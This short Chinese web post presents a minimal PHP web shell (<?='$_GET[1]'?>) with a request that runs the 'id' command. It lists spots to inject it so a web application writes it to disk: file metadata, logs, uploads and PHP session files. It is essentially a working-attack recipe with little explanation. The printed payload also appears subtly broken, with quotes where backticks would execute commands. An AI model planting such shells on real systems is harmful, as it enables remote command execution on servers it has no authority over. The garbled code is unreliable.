天天看點

PHP實作代碼執行的最短Payload

PHP實作代碼執行的最短Payload
<?='$_GET[1]'?>           

複制

http://localhost:8000/rce.php?1=id           

複制

PHP實作代碼執行的最短Payload

這個payload可以被用來反映在web應用程式的很多檔案中

1、在中繼資料中

2、在日志的某個地方

3、在您控制的上傳檔案中

4、在您的 PHP 會話中(它将被寫入檔案)